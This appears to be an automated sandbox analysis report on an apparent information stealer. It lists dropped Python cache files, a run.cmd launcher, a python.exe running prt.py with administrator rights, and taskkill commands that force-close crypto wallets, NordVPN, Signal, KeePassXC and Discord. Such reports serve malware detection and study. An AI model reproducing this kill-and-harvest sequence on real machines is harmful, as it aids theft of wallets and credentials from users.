C:\Users\Public\Document\Lib\pycache\bz2.cpython-310.pyc.2165745890928

C:\Users\Public\Document\Lib\pycache\calendar.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\calendar.cpython-310.pyc.2165726742832

C:\Users\Public\Document\Lib\pycache\codecs.cpython-310.pyc.2165713124720

C:\Users\Public\Document\Lib\pycache\contextlib.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\contextlib.cpython-310.pyc.2165714591280

C:\Users\Public\Document\Lib\pycache\copy.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\copy.cpython-310.pyc.2165736270160

C:\Users\Public\Document\Lib\pycache\copyreg.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\copyreg.cpython-310.pyc.2165714588720

C:\Users\Public\Document\Lib\pycache\datetime.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\datetime.cpython-310.pyc.2165719827632

C:\Users\Public\Document\Lib\pycache\enum.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\enum.cpython-310.pyc.2165714155568

C:\Users\Public\Document\Lib\pycache\fnmatch.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\fnmatch.cpython-310.pyc.2165714384432

C:\Users\Public\Document\Lib\pycache\functools.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\functools.cpython-310.pyc.2165714380080

C:\Users\Public\Document\Lib\pycache\genericpath.cpython-310.pyc.2165714386480

C:\Users\Public\Document\Lib\pycache\glob.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\glob.cpython-310.pyc.2165765187024

C:\Users\Public\Document\Lib\pycache\hashlib.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\hashlib.cpython-310.pyc.2165719829296

C:\Users\Public\Document\Lib\pycache\heapq.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\heapq.cpython-310.pyc.2165736576752

C:\Users\Public\Document\Lib\pycache\hmac.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\hmac.cpython-310.pyc.2165741567568

Target ID:	0
Start time:	11:05:14
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\run.cmd" "
Imagebase:	0x7ff7cff40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	11:06:03
Start date:	09/12/2024
Path:	C:\Users\Public\Document\python.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py
Imagebase:	0x7ff6106d0000
File size:	103'192 bytes
MD5 hash:	A7F3026E4CF239F0A24A021751D17AE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	9
Start time:	11:06:12
Start date:	09/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM ArmoryQt.exe
Imagebase:	0x7ff6f8890000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	13
Start time:	11:06:13
Start date:	09/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM bytecoin-gui.exe
Imagebase:	0x7ff6f8890000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	19
Start time:	11:06:14
Start date:	09/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM Exodus.exe
Imagebase:	0x7ff6f8890000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	25
Start time:	11:06:15
Start date:	09/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM NordVPN.exe
Imagebase:	0x7ff6f8890000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	31
Start time:	11:06:16
Start date:	09/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM Signal.exe
Imagebase:	0x7ff6f8890000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	37
Start time:	11:06:17
Start date:	09/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM keepassxc-proxy.exe
Imagebase:	0x7ff6f8890000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	43
Start time:	11:06:18
Start date:	09/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM walletd.exe
Imagebase:	0x7ff6f8890000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	49
Start time:	11:06:19
Start date:	09/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM DiscordCanary.exe
Imagebase:	0x7ff6f8890000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true